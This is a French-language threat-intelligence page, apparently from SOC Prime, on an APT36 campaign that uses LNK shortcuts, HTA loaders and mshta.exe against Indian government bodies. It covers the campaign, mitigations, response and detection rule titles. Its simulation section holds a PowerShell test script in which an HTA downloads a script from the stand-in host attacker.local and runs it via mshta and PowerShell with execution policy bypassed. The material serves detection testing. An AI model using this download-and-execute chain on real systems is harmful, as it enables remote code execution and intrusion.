SOC Prime Bias: Critique

05 Jan 2026 15:57 UTC

APT36 : Campagne de Malware LNK en Plusieurs Étapes Ciblant les Entités Gouvernementales Indiennes

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
APT36 : Campagne de Malware LNK en Plusieurs Étapes Ciblant les Entités Gouvernementales Indiennes
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

APT36 (Transparent Tribe) a mené une campagne de spear-phishing qui a livré un raccourci LNK malveillant se faisant passer pour un PDF. Lorsqu’il est ouvert, le raccourci lance mshta.exe pour exécuter un chargeur basé sur HTA qui décrypte et exécute des charges utiles en mémoire, y compris un module de configuration et une DLL RAT complète. Le logiciel malveillant sélectionne dynamiquement les méthodes de persistance en fonction du produit antivirus installé par la victime et se connecte à son serveur de commande et de contrôle via un canal encrypté. L’activité est évaluée comme étant axée sur l’espionnage, ciblant les organisations gouvernementales et universitaires indiennes pour voler des données.

Enquête

Les chercheurs ont analysé le fichier LNK inhabituellement volumineux, retracé le contenu HTA intégré hébergé sur innlive.in, et ont effectué une ingénierie inverse de la logique de décryptage. La chaîne a révélé deux étapes principales : une charge utile de désérialisation .NET utilisée pour affaiblir ou contourner les vérifications de sécurité, suivie d’une DLL malveillante sans fichier (par exemple, ki2mtmkl.dll / iinneldc.dll) offrant une fonctionnalité RAT. Le comportement de persistance a été mappé à des produits antivirus spécifiques, et les principaux détails C2 — tels que le port TCP 8621 et une clé AES utilisée pour le trafic encrypté — ont été extraits lors de l’analyse.

Atténuation

Restreindre ou mettre en quarantaine les pièces jointes de raccourci (.lnk) envoyées par e-mail, en particulier lorsqu’elles sont emballées dans des archives ZIP. Appliquer des politiques de contrôle des applications pour limiter l’exécution de mshta.exe, PowerShell et d’autres moteurs de scripts depuis des chemins modifiables par l’utilisateur. Utiliser des détections de point d’extrémité pour les chaînes de processus impliquant mshta.exe et des indicateurs d’exécution de DLL en mémoire, et imposer des restrictions de sortie strictes pour bloquer la communication avec des domaines inconnus ou non fiables.

Réponse

Si une exécution de LNK suspecte est détectée, isoler le système, capturer des images mémoire, et rechercher des indicateurs de DLL en mémoire liés à l’étape RAT. Bloquer les domaines malveillants identifiés et l’infrastructure IP associée, et faire pivoter les identifiants potentiellement exposés. Effectuer un examen judiciaire pour localiser les artefacts de persistance dans le dossier de démarrage et le registre, les supprimer et valider qu’aucun autre point d’accès ne subsiste.

Flux d’attaque

Détections

Fichier LNK Possibly Malveillant à Double Extension (via cmdline)

Équipe SOC Prime
05 janv. 2026

Comportement d’Évasion de la Défense LOLBAS MSHTA Suspectée par Détection de Commandes Associées (via création de processus)

Équipe SOC Prime
05 janv. 2026

Scripts / Binaires Suspects dans l’Emplacement de l’Autostart (via événement de fichier)

Équipe SOC Prime
05 janv. 2026

Fichiers Suspects dans le Profil Utilisateur Public (via événement de fichier)

Équipe SOC Prime
05 janv. 2026

Exécution Suspecte à partir du Profil Utilisateur Public (via création de processus)

Équipe SOC Prime
05 janv. 2026

IOC (SourceIP) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes

Règles AI de SOC Prime
05 janv. 2026

IOC (HashSha256) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes

Règles AI de SOC Prime
05 janv. 2026

IOC (DestinationIP) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes

Règles AI de SOC Prime
05 janv. 2026

Exécution de mshta.exe avec PowerShell ou CMD [Création de Processus Windows]

Règles AI de SOC Prime
05 janv. 2026

Détection de Domaine Malveillant APT36 et Communication C2 [Connexion Réseau Windows]

Règles AI de SOC Prime
05 janv. 2026

Détection de Clé AES Codée en Dur dans la Campagne APT36 [Sysmon Windows]

Règles AI de SOC Prime
05 janv. 2026

Exécution de Simulation

Prérequis : La Vérification Pré-vol de la Télémétrie et de la Ligne de Base doit avoir été réussie.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif et Commandes de l’Attaque :
    Un adversaire a obtenu un accès PowerShell à faible privilège sur un poste de travail compromis. Pour exécuter une charge utile distante sans écrire un exécutable sur le disque, l’attaquant utilise mshta.exe pour exécuter un fichier HTA qui extrait une porte dérobée PowerShell d’un serveur C2. Les étapes sont :

    1. Encoder un HTA minimal malveillant qui lance PowerShell pour télécharger et exécuter une charge utile.
    2. Héberger le HTA sur un serveur web (par exemple, http://attacker.local/malicious.hta).
    3. Depuis la session PowerShell compromise, invoquez mshta.exe avec l’URL distante comme argument.

    Cette chaîne crée un événement de création de processusmshta.exe est l’enfant de powershell.exe, correspondant précisément à la règle Sigma.

  • Script de Test de Régression :

    #-------------------------------------------------
    # Script d'attaquant simulé – déclenche la règle
    #-------------------------------------------------
    
    # 1. Définir le HTA malveillant (en ligne pour les besoins de la démonstration)
    $htaContent = @"
    <script>
        // Télécharger et exécuter une charge PowerShell factice
        var url = 'http://attacker.local/payload.ps1';
        var xhr = new ActiveXObject('Microsoft.XMLHTTP');
        xhr.open('GET', url, false);
        xhr.send();
        var ps = new ActiveXObject('WScript.Shell');
        ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false);
    </script>
    "@
    
    # 2. Écrire le HTA dans un emplacement temporaire (simulant un fichier hébergé)
    $tempPath = "$env:TEMPmalicious.hta"
    $htaContent | Set-Content -Path $tempPath -Encoding ASCII
    
    # 3. Lancer mshta.exe depuis PowerShell (le déclencheur de détection)
    $mshta = (Get-Command mshta.exe).Source
    Write-Host "[*] Lancement de mshta.exe pour exécuter le payload HTA..."
    Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow
    
    # Optionnel : Pause pour permettre la capture de l'événement
    Start-Sleep -Seconds 5
    
    # Nettoyage (géré dans la section suivante)
  • Commandes de Nettoyage :

    # Supprimer le fichier HTA temporaire
    Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue
    
    # Arrêter tous les processus mshta.exe persistants (peu probable après une exécution normale)
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
    
    Write-Host "[*] Nettoyage complet."